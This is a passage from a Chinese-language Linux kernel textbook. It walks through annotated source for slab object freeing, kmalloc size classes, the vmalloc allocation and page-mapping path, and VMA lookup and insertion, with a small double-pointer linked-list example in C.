1                      unsigned long caller)
2  {
3       struct array_cache *ac = cpu_cache_get(cachep);
4 
5       if (ac->avail < ac->limit) {
6            ;
7       } else {
8          cache_flusharray(cachep, ac);
9     }
10
11    ac_put_obj(cachep, ac, objp);
12  }

第11行代码,ac_put_obj()的“ac->entry[ac->avail++] = objp”把对象释放到本地对象缓冲池ac中,释放过程已经结束了。

如果考虑第5行代码的判断条件,当本地对象缓冲池的空闲对象ac->avail大于ac->limit阈值时,就会调用cache_flusharray()做flush动作去尝试回收空闲对象。ac->limit阈值的计算在enable_cpucache()函数中进行,在我们的例子中,ac->limit为120,ac->batchcount为60。

[kmem_cache_free()->__cache_free()->cache_flusharray()]

0 static void cache_flusharray(struct kmem_cache *cachep, struct array_cache *ac)
1 {
2   int batchcount;
3   struct kmem_cache_node *n;
4   int node = numa_mem_id();
5   LIST_HEAD(list);
6 
7   batchcount = ac->batchcount;
8   n = get_node(cachep, node);
9   spin_lock(&n->list_lock);
10  if (n->shared) {
11        struct array_cache *shared_array = n->shared;
12        int max = shared_array->limit - shared_array->avail;
13        if (max) {
14             if (batchcount > max)
15                  batchcount = max;
16             memcpy(&(shared_array->entry[shared_array->avail]),
17                  ac->entry, sizeof(void *) * batchcount);
18             shared_array->avail += batchcount;
19             goto free_done;
20        }
21  }
22
23  free_block(cachep, ac->entry, batchcount, node, &list);
24free_done:
25  spin_unlock(&n->list_lock);
26  slabs_destroy(cachep, &list);
27  ac->avail -= batchcount;
28  memmove(ac->entry, &(ac->entry[batchcount]), sizeof(void *)*ac->avail);
29}

在cache_flusharray()函数中,首先判断是否有共享对象缓冲池,如果有,第10~19行代码就会把本地对象缓冲池中的空闲对象复制到共享对象缓冲池中,这里复制batchcount个空闲对象。第28行代码是本地对象缓冲池剩余的空闲对象前移到buffer的头部。

假设共享对象缓冲池中的空闲对象数量大于limit阈值,那么会跑到第23行代码中的free_block()函数中,free_block()函数会主动释放batchcount个空闲对象。如果slab没有了活跃对象(即page->active == 0),并且slab节点中所有空闲对象数目n->free_objects超过了n->free_limit阈值,那么调用slabs_destroy()函数来销毁这个slab。page->active用于记录活跃slab对象的计数,slab_get_obj()函数分配一个slab对象时会增加该计数,slab_put_obj()函数释放一个slab对象时会递减该计数。

0 static void free_block(struct kmem_cache *cachep, void **objpp,
1              int nr_objects, int node, struct list_head *list)
2 {
3    int i;
4    struct kmem_cache_node *n = get_node(cachep, node);
5 
6    for (i = 0; i < nr_objects; i++) {
7         void *objp;
8         struct page *page;
9 
10        objp = objpp[i];
11
12        page = virt_to_head_page(objp);
13        list_del(&page->lru);
14        slab_put_obj(cachep, page, objp, node);
15        n->free_objects++;
16
17        /* fixup slab chains */
18        if (page->active == 0) {
19             if (n->free_objects > n->free_limit) {
20                  n->free_objects -= cachep->num;
21                  list_add_tail(&page->lru, list);
22             } else {
23                  list_add(&page->lru, &n->slabs_free);
24             }
25        } else {
26             list_add_tail(&page->lru, &n->slabs_partial);
27        }
28  }
29}

内核中常用的kmalloc()函数的核心是slab机制。类似伙伴系统机制,按照内存块的2^order来创建多个slab描述符,例如16B、32B、64B、128B、…、32MB等大小,系统会分别创建名为kmalloc-16、kmalloc-32、kmalloc-64……的slab描述符,这在系统启动时在create_kmalloc_caches()函数中完成。例如分配30Byte的一个小内存块,可以用“kmalloc(30, GFP_KERNEL)”,那么系统会从名为“kmalloc-32”的slab描述符中分配一个对象出来。

[include/linux/slab.h]

static __always_inline void *kmalloc(size_t size, gfp_t flags)
{
     int index = kmalloc_index(size);
     return kmem_cache_alloc_trace(kmalloc_caches[index],
                     flags, size);
}

kmalloc_index()函数方便查找使用的是哪个slab缓冲区,很形象地展示了kmalloc的设计思想。

[include/linux/slab.h]

static __always_inline int kmalloc_index(size_t size)
{
     if (!size)
           return 0;

     if (size <= KMALLOC_MIN_SIZE)
           return KMALLOC_SHIFT_LOW;

     if (size <=          8) return 3;
     if (size <=         16) return 4;
     if (size <=         32) return 5;
     if (size <=         64) return 6;
     if (size <=        128) return 7;
     if (size <=        256) return 8;
     if (size <=        512) return 9;
     if (size <=       1024) return 10;
     if (size <=   2 * 1024) return 11;
     if (size <=   4 * 1024) return 12;
     if (size <=   8 * 1024) return 13;
     if (size <=  16 * 1024) return 14;
     if (size <=  32 * 1024) return 15;
     if (size <=  64 * 1024) return 16;
     if (size <= 128 * 1024) return 17;
     if (size <= 256 * 1024) return 18;
     if (size <= 512 * 1024) return 19;
     if (size <= 1024 * 1024) return 20;
     if (size <=  2 * 1024 * 1024) return 21;
     if (size <=  4 * 1024 * 1024) return 22;
     if (size <=  8 * 1024 * 1024) return 23;
     if (size <=  16 * 1024 * 1024) return 24;
     if (size <=  32 * 1024 * 1024) return 25;
     if (size <=  64 * 1024 * 1024) return 26;
}

通过阅读上面的代码,我们知道slab系统由slab描述符、slab节点、本地对象缓冲池、共享对象缓冲池、3个slab链表、n个slab,以及众多slab缓存对象组成,如图2.10所示。

图2.10 slab系统架构图

那么每个slab由多少个页面组成呢?每个slab由一个或者n个page连续页面组成,是一个连续的物理空间。创建slab描述符时会计算一个slab究竟需要占用多少个page页面,即2^gfporder,一个slab里可以有多少个slab对象,以及有多少个cache着色,slab结构图见图2.9。

slab需要的物理内存在什么时候分配呢?在创建slab描述符时,不会立即分配2^gfporder个页面,要等到分配slab对象时,发现本地缓冲池和共享缓冲池都是空的,然后查询3大链表中也没有空闲对象,那么只好分配一个slab了。这时才会分配2^gfporder个页面,并且把这个slab挂入slabs_free链表中。

如果一个slab描述符中有很多空闲对象,那么系统是否要回收一些空闲的缓存对象从而释放内存归还系统呢?这个是必须要考虑的问题,否则系统有大量的slab描述符,每个slab描述符还有大量不用的、空闲的slab对象,这怎么行呢?slab系统有两种方式来回收内存。

(1)使用kmem_cache_free释放一个对象,当发现本地和共享对象缓冲池中的空闲对象数目ac->avail大于缓冲池的极限值ac->limit时,系统会主动释放bacthcount个对象。当系统所有空闲对象数目大于系统空闲对象数目极限值,并且这个slab没有活跃对象时,那么系统就会销毁这个slab,从而回收内存。

(2)slab系统还注册了一个定时器,定时去扫描所有的slab描述符,回收一部分空闲对象,达到条件的slab也会被销毁,实现函数在cache_reap(),大家可以自行阅读。

为什么slab要有一个cache colour着色区?cache colour着色区让每一个slab对应大小不同的cache行,着色区大小的计算为colour_next*colour_off,其中colour_next从0到这个slab描述符中计算出来的colour最大值,colour_off为L1 cache的cache行大小。这样可以使不同slab上同一个相对位置slab对象的起始地址在高速缓存中相互错开,有利于改善高速缓存的效率。

另外一个利用cache的场景是Per-CPU类型的本地对象缓冲池。slab分配器的一个重要目的是提升硬件和cache的使用效率。使用Per-CPU类型的本地对象缓冲池有如下两个好处。

尽管slab分配器在很多工作负荷下都工作良好,但在一些情况下也无法提供最优的性能,例如微小嵌入式系统或者有大量物理内存的超级计算机。在大内存的超级计算机中,slab系统所需要的元数据占用好几个GB的内存,对于微小嵌入式系统,slab的代码量和复杂性也很高。因此linux内核中提供了另外两种替代品,slob和slub。slob适合微小嵌入式系统,slub分配器在大型系统中能提供比slab更好的性能。  

在阅读本节前请思考如下小问题。

  请问kmalloc、vmalloc和malloc之间有什么区别以及实现上的差异?

kmalloc、vmalloc和malloc这3个常用的API函数具有相当的分量,三者看上去很相似,但在实现上可大有讲究。kmalloc基于slab分配器,slab缓冲区建立在一个连续物理地址的大块内存之上,所以其缓存对象也是物理地址连续的。如果在内核中不需要连续的物理地址,而仅仅需要内核空间里连续虚拟地址的内存块,该如何处理呢?这时vmalloc()就派上用场了。

vmlloc()函数声明如下:

[mm/vmalloc.c]

void *vmalloc(unsigned long size)
{
     return __vmalloc_node_flags(size, NUMA_NO_NODE,
                      GFP_KERNEL | __GFP_HIGHMEM);
}

vmalloc使用的分配掩码是“GFP_KERNEL | __GFP_HIGHMEM”,说明会优先使用高端内存High Memory。

static void *__vmalloc_node(unsigned long size, unsigned long align,
                 gfp_t gfp_mask, pgprot_t prot,
                 int node, const void *caller)
{
     return __vmalloc_node_range(size, align, VMALLOC_START, VMALLOC_END,
                  gfp_mask, prot, 0, node, caller);
}

这里的VMALLOC_START和VMALLOC_END是vmalloc中很重要的宏,这两个宏定义在arch/arm/include/pgtable.h头文件中。ARM64架构的定义在arch/arm64/include/asm/ pgtable.h头文件中。VMALLOC_START是vmalloc区域的开始地址,它是在High_memory指定的高端内存开始地址再加上8MB大小的安全区域(VMALLOC_OFFSET)。在ARM Vexpress平台中,vmalloc的内存范围在从0xf000_0000到0xff00_0000,大小为240MB,high_memory全局变量的计算在sanity_check_meminfo()函数中。

[arch/arm/include/pgtable.h]

#define VMALLOC_OFFSET     (8*1024*1024)
#define VMALLOC_START      (((unsigned long)high_memory + VMALLOC_OFFSET) & ~(VMALLOC_OFFSET-1))
#define VMALLOC_END        0xff000000UL
[vmalloc()->__vmalloc_node()->__vmalloc_node_range()]

0 void *__vmalloc_node_range(unsigned long size, unsigned long align,
1           unsigned long start, unsigned long end, gfp_t gfp_mask,
2           pgprot_t prot, unsigned long vm_flags, int node,
3           const void *caller)
4 {
5    struct vm_struct *area;
6    void *addr;
7    unsigned long real_size = size;
8 
9    size = PAGE_ALIGN(size);
10   if (!size || (size >> PAGE_SHIFT) > totalram_pages)
11         goto fail;
12
13   area = __get_vm_area_node(size, align, VM_ALLOC | VM_UNINITIALIZED |
14               vm_flags, start, end, node, gfp_mask, caller);
15
16   addr = __vmalloc_area_node(area, gfp_mask, prot, node);
17
18   return addr;
19}

在__vmalloc_node_range()函数中,第9行代码vmalloc分配的大小要以页面大小对齐。如果vmalloc要分配的大小为10Byte,那么vmalloc还是会分配出一个页,剩下的4086Byte就浪费了[4]

第10行代码,判断要分配的内存大小不能为0或者不能大于系统的所有内存。

[vmalloc()->__vmalloc_node_range()->__get_vm_area_node()]

0 static struct vm_struct *__get_vm_area_node(unsigned long size,
1         unsigned long align, unsigned long flags, unsigned long start,
2         unsigned long end, int node, gfp_t gfp_mask, const void *caller)
3 {
4    struct vmap_area *va;
5    struct vm_struct *area;
6 
7    BUG_ON(in_interrupt());
8    size = PAGE_ALIGN(size);
9 
10   area = kzalloc_node(sizeof(*area), gfp_mask & GFP_RECLAIM_MASK, node);
11   
12   if (!(flags & VM_NO_GUARD))
13         size += PAGE_SIZE;
14
15   va = alloc_vmap_area(size, align, start, end, node, gfp_mask);
16   setup_vmalloc_vm(area, va, flags, caller);
17   return area;
18}

在__get_vm_area_node()函数中,第7行代码确保当前不在中断上下文中,因为这个函数有可能会睡眠。

第8行代码又计算一次对齐。

第10行代码分配一个struct vm_struct数据结构来描述这个vmalloc区域。

第12行代码,如果flags中没有定义VM_NO_GUARD标志位,那么要多分配一个页来做安全垫,例如我们要分配4KB大小内存,vmalloc分配了8KB的内存块。

下面重点来看第15行代码的alloc_vmap_area()函数。

[vmalloc()->__vmalloc_node_range()->__get_vm_area_node()->alloc_vmap_area()]

0  static struct vmap_area *alloc_vmap_area(unsigned long size,
1                  unsigned long align,
2                  unsigned long vstart, unsigned long vend,
3                  int node, gfp_t gfp_mask)
4  {
5    struct vmap_area *va;
6    struct rb_node *n;
7    unsigned long addr;
8    int purged = 0;
9    struct vmap_area *first;
10 
11   va = kmalloc_node(sizeof(struct vmap_area),
12           gfp_mask & GFP_RECLAIM_MASK, node);
13 
14 retry:
15   spin_lock(&vmap_area_lock);
16   /*
17    * Invalidate cache if we have more permissive parameters.
18    * cached_hole_size notes the largest hole noticed _below_
19    * the vmap_area cached in free_vmap_cache: if size fits
20    * into that hole, we want to scan from vstart to reuse
21    * the hole instead of allocating above free_vmap_cache.
22    * Note that __free_vmap_area may update free_vmap_cache
23    * without updating cached_hole_size or cached_align.
24    */
25   if (!free_vmap_cache ||
26             size < cached_hole_size ||
27             vstart < cached_vstart ||
28             align < cached_align) {
29 nocache:
30      cached_hole_size = 0;
31      free_vmap_cache = NULL;
32  }
33  /* record if we encounter less permissive parameters */
34  cached_vstart = vstart;
35  cached_align = align;
36 
37  /* find starting point for our search */
38  if (free_vmap_cache) {
39        first = rb_entry(free_vmap_cache, struct vmap_area, rb_node);
40        addr = ALIGN(first->va_end, align);
41        if (addr < vstart)
42              goto nocache;
43        if (addr + size < addr)
44              goto overflow;
45 
46  } else {
47       addr = ALIGN(vstart, align);
48       if (addr + size < addr)
49            goto overflow;
50 
51       n = vmap_area_root.rb_node;
52       first = NULL;
53 
54       while (n) {
55            struct vmap_area *tmp;
56            tmp = rb_entry(n, struct vmap_area, rb_node);
57            if (tmp->va_end >= addr) {
58                 first = tmp;
59                 if (tmp->va_start <= addr)
60                     break;
61                 n = n->rb_left;
62            } else
63                 n = n->rb_right;
64       }
65 
66       if (!first)
67              goto found;
68  }
69 
70  /* from the starting point, walk areas until a suitable hole is found */
71  while (addr + size > first->va_start && addr + size <= vend) {
72      if (addr + cached_hole_size < first->va_start)
73            cached_hole_size = first->va_start - addr;
74      addr = ALIGN(first->va_end, align);
75      if (addr + size < addr)
76            goto overflow;
77 
78      if (list_is_last(&first->list, &vmap_area_list))
79             goto found;
80 
81      first = list_entry(first->list.next,
82                 struct vmap_area, list);
83  }
84 
85 found:
86  if (addr + size > vend)
87        goto overflow;
88 
89  va->va_start = addr;
90  va->va_end = addr + size;
91  va->flags = 0;
92  __insert_vmap_area(va);
93  free_vmap_cache = &va->rb_node;
94  spin_unlock(&vmap_area_lock);
95 
96  return va;
97 
98 overflow:
99  return ERR_PTR(-EBUSY);
100}

alloc_vmap_area()在vmalloc整个空间中查找一块大小合适的并且没有人使用的空间,这段空间称为hole。注意这个函数参数vstart是指VMALLOC_START,vend是指VMALLOC_END。

第25行代码,free_vmap_cache、cached_hole_size和cached_vstart这几个变量是在几年前添加的一个优化选项,核心思想是从上一次查找的结果中开始查找。这里假设暂时忽略free_vmap_cache这个优化,从第47行代码开始看起。

查找的地址从VMALLOC_START开始,首先从vmap_area_root这棵红黑树上查找,这个红黑树里存放着系统中正在使用的vmalloc区块,遍历左子叶节点找区间地址最小的区块。如果区块的开始地址等于VMALLOC_START,说明这区块是第一块vmalloc区块。如果红黑树没有一个节点,说明整个vmalloc区间都是空的,见第66行代码。

第54~64行代码,这里遍历的结果是返回起始地址最小的vmalloc区块,这个区块有可能是VMALLOC_START开始的,也可能不是。

然后从VMALLOC_START的地址开始,查找每个已存在的vmalloc区块的缝隙hole能否容纳目前要分配内存的大小。如果在已有vmalloc区块的缝隙中没能找到合适的hole,那么从最后一块vmalloc区块的结束地址开始一个新的vmalloc区域,见第71~83行代码。

第92行代码,找到新的区块hole后,调用__insert_vmap_area()函数把这个hole注册到红黑树中。

0 static void __insert_vmap_area(struct vmap_area *va)
1 {
2    struct rb_node **p = &vmap_area_root.rb_node;
3    struct rb_node *parent = NULL;
4    struct rb_node *tmp;
5 
6    while (*p) {
7         struct vmap_area *tmp_va;
8 
9         parent = *p;
10        tmp_va = rb_entry(parent, struct vmap_area, rb_node);
11        if (va->va_start < tmp_va->va_end)
12             p = &(*p)->rb_left;
13        else if (va->va_end > tmp_va->va_start)
14             p = &(*p)->rb_right;
15        else
16             BUG();
17   }
18
19   rb_link_node(&va->rb_node, parent, p);
20   rb_insert_color(&va->rb_node, &vmap_area_root);
21
22   /* address-sort this list */
23   tmp = rb_prev(&va->rb_node);
24   if (tmp) {
25        struct vmap_area *prev;
26        prev = rb_entry(tmp, struct vmap_area, rb_node);
27        list_add_rcu(&va->list, &prev->list);
28   } else
29        list_add_rcu(&va->list, &vmap_area_list);
30}

回到__get_vm_area_node()函数的第16行代码,把刚找到的struct vmap_area *va的相关信息填到struct vm_struct *vm中。

static void setup_vmalloc_vm(struct vm_struct *vm, struct vmap_area *va,
                   unsigned long flags, const void *caller)
{
     spin_lock(&vmap_area_lock);
     vm->flags = flags;
     vm->addr = (void *)va->va_start;
     vm->size = va->va_end - va->va_start;
     vm->caller = caller;
     va->vm = vm;
     va->flags |= VM_VM_AREA;
     spin_unlock(&vmap_area_lock);
}

回到__vmalloc_node_range()函数的第16行代码中的__vmalloc_area_node()。

[vmalloc()->__vmalloc_node_range()->__vmalloc_area_node()]

0 static void *__vmalloc_area_node(struct vm_struct *area, gfp_t gfp_mask,
1                 pgprot_t prot, int node)
2 {
3      const int order = 0;
4      struct page **pages;
5      unsigned int nr_pages, array_size, i;
6      const gfp_t nested_gfp = (gfp_mask & GFP_RECLAIM_MASK) | __GFP_ZERO;
7      const gfp_t alloc_mask = gfp_mask | __GFP_NOWARN;
8 
9      nr_pages = get_vm_area_size(area) >> PAGE_SHIFT;
10     array_size = (nr_pages * sizeof(struct page *));
11
12     area->nr_pages = nr_pages;
13     /* Please note that the recursion is strictly bounded. */
14     if (array_size > PAGE_SIZE) {
15          pages = __vmalloc_node(array_size, 1, nested_gfp|__GFP_HIGHMEM,
16                  PAGE_KERNEL, node, area->caller);
17          area->flags |= VM_VPAGES;
18     } else {
19          pages = kmalloc_node(array_size, nested_gfp, node);
20     }
21     area->pages = pages;
22
23     for (i = 0; i < area->nr_pages; i++) {
24          struct page *page;
25
26          page = alloc_page(alloc_mask);
27          area->pages[i] = page;
28          if (gfp_mask & __GFP_WAIT)
29                cond_resched();
30     }
31
32     if (map_vm_area(area, prot, pages))
33          goto fail;
34     return area->addr;
35
36fail:
37     return NULL;
38}

在__vmalloc_area_node()函数中,首先计算vmalloc分配内存大小有几个页面,然后使用alloc_page()这个API来分配物理页面,并且使用area->pages保存已分配页面的page数据结构指针,最后调用map_vm_area()函数来建立页面映射。

map_vm_area()函数最后调用vmap_page_range_noflush()来建立页面映射关系。

0 static int vmap_page_range_noflush(unsigned long start, unsigned long end,
1                   pgprot_t prot, struct page **pages)
2 {
3    pgd_t *pgd;
4    unsigned long next;
5    unsigned long addr = start;
6    int err = 0;
7    int nr = 0;
8 
9    pgd = pgd_offset_k(addr);
10   do {
11       next = pgd_addr_end(addr, end);
12       err = vmap_pud_range(pgd, addr, next, prot, pages, &nr);
13       if (err)
14             return err;
15   } while (pgd++, addr = next, addr != end);
16
17   return nr;
18}

pgd_offset_k()首先从init_mm中获取指向PGD页面目录项的基地址,然后通过地址addr来找到对应的PGD表项。while循环里从开始地址addr到结束地址,按照PGDIR_SIZE的大小依次调用vmap_pud_range()来处理PGD页表。pgd_offset_k()宏定义如下:

#define pgd_index(addr)          ((addr) >> PGDIR_SHIFT)
#define pgd_offset(mm, addr)     ((mm)->pgd + pgd_index(addr))

/* to find an entry in a kernel page-table-directory */
#define pgd_offset_k(addr)     pgd_offset(&init_mm, addr)

#define pgd_addr_end(addr, end)                              \
({  unsigned long __boundary = ((addr) + PGDIR_SIZE) & PGDIR_MASK;     \
    (__boundary - 1 < (end) - 1)? __boundary: (end);          \
})

vmap_pud_range()函数会依次调用vmap_pmd_range()。在ARM Vexpress平台中,页表是二级页表,所以PUD和PMD都指向PGD,最后直接调用vmap_pte_range()。

0 static int vmap_pte_range(pmd_t *pmd, unsigned long addr,
1          unsigned long end, pgprot_t prot, struct page **pages, int *nr)
2 {
3      pte_t *pte;
4      pte = pte_alloc_kernel(pmd, addr);
5      do {
6           struct page *page = pages[*nr];
7 
8           if (WARN_ON(!pte_none(*pte)))
9                return -EBUSY;
10          if (WARN_ON(!page))
11               return -ENOMEM;
12          set_pte_at(&init_mm, addr, pte, mk_pte(page, prot));
13          (*nr)++;
14     } while (pte++, addr += PAGE_SIZE, addr != end);
15     return 0;
16}

在此场景中,对应的pmd页表项内容为空,即pmd_none(*(pmd)),所以需要新分配pte页表项。

static inline pte_t *
pte_alloc_one_kernel(struct mm_struct *mm, unsigned long addr)
{
    pte_t *pte;

    pte = (pte_t *)__get_free_page(PGALLOC_GFP);
    if (pte)
          clean_pte_table(pte);

    return pte;
}

mk_pte()宏利用刚分配的page页面和页面属性prot来新生成一个PTE entry,最后通过set_pte_at()函数把PTE entry设置到硬件页表PTE页表项中。

在32位系统中,每个用户进程可以拥有3GB大小的虚拟地址空间,通常要远大于物理内存,那么如何管理这些虚拟地址空间呢?用户进程通常会多次调用malloc()或使用mmap()接口映射文件到用户空间来进行读写等操作,这些操作都会要求在虚拟地址空间中分配内存块,这些内存块基本上都是离散的。malloc()是用户态常用的分配内存的接口API函数,在第2.8节中将详细介绍其内核实现机制;mmap()是用户态常用的用于建立文件映射或匿名映射的函数,在第2.9节中将详细介绍其内核实现机制。这些进程地址空间在内核中使用struct vm_area_struct数据结构来描述,简称VMA,也被称为进程地址空间或进程线性区。由于这些地址空间归属于各个用户进程,所以在用户进程的struct mm_struct数据结构中也有相应的成员,用于对这些VMA进行管理。

VMA数据结构定义在mm_types.h文件中。

[include/linux/mm_types.h]

0 struct vm_area_struct {
1    unsigned long vm_start;          
2    unsigned long vm_end;          
3    struct vm_area_struct *vm_next, *vm_prev;
4    struct rb_node vm_rb;
5    unsigned long rb_subtree_gap;
6    struct mm_struct *vm_mm;     
7    pgprot_t vm_page_prot;          
8    unsigned long vm_flags;     
9    struct {
10        struct rb_node rb;
11        unsigned long rb_subtree_last;
12   } shared;
13   struct list_head anon_vma_chain;
14   struct anon_vma *anon_vma;
15   const struct vm_operations_struct *vm_ops;
16   unsigned long vm_pgoff;
17   struct file * vm_file;
18   void * vm_private_data;
19   struct mempolicy *vm_policy;
20};
21

struct vm_area_struct数据结构各个成员的含义如下。

struct mm_struct数据结构是描述进程内存管理的核心数据结构,该数据结构也提供了管理VMA所需要的信息,这些信息概况如下:

[include/linux/mm_types.h]

struct mm_struct {
     struct vm_area_struct *mmap;          
     struct rb_root mm_rb;
     ...
};

每个VMA都要连接到mm_struct中的链表和红黑树中,以方便查找。

VMA按照起始地址以递增的方式插入mm_struct->mmap链表中。当进程拥有大量的VMA时,扫描链表和查找特定的VMA是非常低效的操作,例如在云计算的机器中,所以内核中通常要靠红黑树来协助,以便提高查找速度。

通过虚拟地址addr来查找VMA是内核中常用的操作,内核提供一个API函数来实现这个查找操作。find_vma()函数根据给定地址addr查找满足如下条件之一的VMA,如图2.11所示。

图2.11 find_vma()示意图

find_vma()函数实现如下:

0 struct vm_area_struct *find_vma(struct mm_struct *mm, unsigned long addr)
1 {
2    struct rb_node *rb_node;
3    struct vm_area_struct *vma;
4 
5    /* Check the cache first. */
6    vma = vmacache_find(mm, addr);
7    if (likely(vma))
8           return vma;
9 
10   rb_node = mm->mm_rb.rb_node;
11   vma = NULL;
12
13   while (rb_node) {
14        struct vm_area_struct *tmp;
15
16        tmp = rb_entry(rb_node, struct vm_area_struct, vm_rb);
17
18        if (tmp->vm_end > addr) {
19             vma = tmp;
20             if (tmp->vm_start <= addr)
21                  break;
22             rb_node = rb_node->rb_left;
23        } else
24             rb_node = rb_node->rb_right;
25   }
26
27   if (vma)
28        vmacache_update(addr, vma);
29   return vma;
30}

find_vma()函数首先查找vma cache中的VMA是否满足要求。

第6行代码,vmacache_find()是内核中最近出现的一个查找VMA的优化方法,在task_struct结构中,有一个存放最近访问过的VMA的数组vmacache[VMACACHE_SIZE],其中可以存放4个最近使用的VMA,充分利用了局部性原理。如果在vmacache中没找到VMA,那么遍历这个用户进程的mm_rb红黑树,这个红黑树存放着该用户进程所有的VMA。

第13~25行代码,while循环要找一块满足上述要求的VMA。

find_vma_intersection()函数是另外一个API接口,用于查找start_addr、end_addr和现存的VMA有重叠的一个VMA,它基于find_vma()来实现。

static inline struct vm_area_struct * find_vma_intersection(struct mm_struct * mm, 
     unsigned long start_addr, unsigned long end_addr)
{
     struct vm_area_struct * vma = find_vma(mm,start_addr);

     if (vma && end_addr <= vma->vm_start)
          vma = NULL;
     return vma;
}

find_vma_prev()函数的逻辑和find_vma()一样,但是返回VMA的前继成员vma->vm_prev。

struct vm_area_struct *
find_vma_prev(struct mm_struct *mm, unsigned long addr,
            struct vm_area_struct **pprev)
{
     struct vm_area_struct *vma;

     vma = find_vma(mm, addr);
     if (vma) {
          *pprev = vma->vm_prev;
     } else {
          struct rb_node *rb_node = mm->mm_rb.rb_node;
          *pprev = NULL;
          while (rb_node) {
               *pprev = rb_entry(rb_node, struct vm_area_struct, vm_rb);
               rb_node = rb_node->rb_right;
          }
     }
     return vma;
}

insert_vm_struct()是内核提供的插入VMA的核心API函数。

0 int insert_vm_struct(struct mm_struct *mm, struct vm_area_struct *vma)
1 {
2    struct vm_area_struct *prev;
3    struct rb_node **rb_link, *rb_parent;
4    
5    if (!vma->vm_file) {
6          BUG_ON(vma->anon_vma);
7          vma->vm_pgoff = vma->vm_start >> PAGE_SHIFT;
8    }
9    if (find_vma_links(mm, vma->vm_start, vma->vm_end,
10              &prev, &rb_link, &rb_parent))
11         return -ENOMEM;
12   if ((vma->vm_flags & VM_ACCOUNT) &&
13         security_vm_enough_memory_mm(mm, vma_pages(vma)))
14         return -ENOMEM;
15
16   vma_link(mm, vma, prev, rb_link, rb_parent);
17   return 0;
18}

insert_vm_struct()函数向VMA链表和红黑树插入一个新的VMA。参数mm是进程的内存描述符,vma是要插入的线性区VMA。

第5~8行代码,如果vma不是文件映射,设置vm_pgoff成员。

第9行代码,find_vma_links()查找要插入的位置。

第16行代码,将vma插入链表和红黑树中。

0 static int find_vma_links(struct mm_struct *mm, unsigned long addr,
1          unsigned long end, struct vm_area_struct **pprev,
2          struct rb_node ***rb_link, struct rb_node **rb_parent)
3 {
4    struct rb_node **__rb_link, *__rb_parent, *rb_prev;
5 
6    __rb_link = &mm->mm_rb.rb_node;
7    rb_prev = __rb_parent = NULL;
8 
9    while (*__rb_link) {
10        struct vm_area_struct *vma_tmp;
11
12        __rb_parent = *__rb_link;
13        vma_tmp = rb_entry(__rb_parent, struct vm_area_struct, vm_rb);
14
15        if (vma_tmp->vm_end > addr) {
16             /* Fail if an existing vma overlaps the area */
17             if (vma_tmp->vm_start < end)
18                  return -ENOMEM;
19             __rb_link = &__rb_parent->rb_left;
20        } else {
21             rb_prev = __rb_parent;
22             __rb_link = &__rb_parent->rb_right;
23        }
24   }
25
26   *pprev = NULL;
27   if (rb_prev)
28        *pprev = rb_entry(rb_prev, struct vm_area_struct, vm_rb);
29   *rb_link = __rb_link;
30  *rb_parent = __rb_parent;
31   return 0;
32}

find_vma_links()函数为新vma查找合适的插入位置。

第6行代码,__rb_link指向红黑树的根节点。

第9~24行代码,遍历这个红黑树来寻找合适的插入位置。如果addr小于某个节点VMA的结束地址,那么继续遍历当前VMA的左子树。如果要插入的vma恰好和现有的VMA有一小部分的重叠,那么返回错误码-ENOMEM,见第17~18行代码。如果addr大于节点VMA的结束地址,那么继续遍历这个节点的右子树。while循环一直遍历下去,直到某个节点没有子节点为止。

第28行代码,rb_prev指向待插入节点的前继节点,这里获取前继节点的结构体。

第29行代码,*rb_link指向__rb_parent->rb_right或__rb_parent->rb_left指针本身的地址。

第30行代码,__rb_parent指向找到的待插入节点的父节点。

注意,这里使用了二级和三级指针作为形参,例如find_vma_links()函数的rb_parent是二级指针作为形参,rb_link是三级指针作为形参,这里很容易混淆。以rb_link为例,如图2.12所示,假设rb_link指针本身的地址是0x5555,它在insert_vm_struct()函数中是一个二级指针,并且是局部变量,把rb_link指针本身的地址0x5555作为形参传递给find_vma_links()函数。指针变量作为函数形参调用时会分配一个副本,假设副本名字为rb_link1,这时指针rb_link1指向地址0x5555。find_vma_links()函数第29行代码让*rb_link1指向__rb_parent->rb_right或__rb_parent->rb_left指针本身的地址,可以理解为地址0x5555上存在一个指针,该指针指向__rb_parent->rb_right或__rb_parent->rb_left指针本身的地址。

所以find_vma_links()函数返回之后,rb_link指向__rb_parent->rb_right或__rb_parent-> rb_left指针本身的地址。*rb_link便可以指向_rb_parent->rb_right或__rb_parent->rb_left指针指向的节点,在__vma_link()->__vma_link_rb()->rb_link_node()中会用到。

find_vma_links()函数的主要贡献是精确地找到了新VMA要加入到某个节点的子节点上,rb_parent指针指向要插入的节点的父节点;rb_link指向要插入节点指针本  身的地址;pprev指针指向要插入的节点的父节点指向的VMA数据结构,如图2.13所示。

在Linux内核代码中经常使用到二级指针,Linux内核创始人Linus Torvalds曾经公开批评很多内核开发者不会使用指针的指针[5],可见二级指针在Linux内核中的重要性。二级指针在Linux内核中主要有两种用法,一是作为函数形参,例如上述的find_vma_links()函数;二是链表操作,例如RCU的代码。下面是用二级指针实现的一个简单的链表操作的例子,省略了异常处理部分。

图2.12 多级指针做为函数形参

图2.13 find_vma_links()函数rb_link指针示意图

#include <stdio.h>

struct s_node {
     int val;
     struct s_node *next;
};

int slist_insert(struct s_node ** root, int val)
{
     struct s_node **cur;
     struct s_node *entry, *new;

     cur = root;
     while ((entry=*cur) != NULL && entry->val < val) {
          cur = &entry->next;
     }

     new = malloc(sizeof(struct s_node));
     new->val = val;

     new->next = entry;
     *cur = new;
}

int slist_del_element(struct s_node **root, int val)
{
     struct s_node **cur;
     struct s_node *entry;

     for (cur = root; *cur;) {
          entry = *cur;
          if (entry->val == val) {
               *cur = entry->next;
               free(entry);
          } else
               cur = &entry->next;
     }
}

int main ()
{
     struct s_node root= {0, NULL};

     slist_insert(&root, 2);
     slist_insert(&root, 5);
     printf("del element\n");
     slist_del_element(&root, 5);
}

回到insert_vm_struct()函数中,找到要插入的节点后就可以调用vma_link()函数加入到红黑树中。

0 static void vma_link(struct mm_struct *mm, struct vm_area_struct *vma,
1              struct vm_area_struct *prev, struct rb_node **rb_link,
2              struct rb_node *rb_parent)
3 {
4    struct address_space *mapping = NULL;
5 
6    if (vma->vm_file) {
7         mapping = vma->vm_file->f_mapping;
8         i_mmap_lock_write(mapping);
9    }
10
11   __vma_link(mm, vma, prev, rb_link, rb_parent);
12   __vma_link_file(vma);
13
14   if (mapping)
15        i_mmap_unlock_write(mapping);
16
17   mm->map_count++;
18   validate_mm(mm);
19}
20

vma_link()通过__vma_link()添加到红黑树和链表中,__vma_link_file()把vma添加到文件的基数树(Radix Tree)上,我们先忽略它。

static void
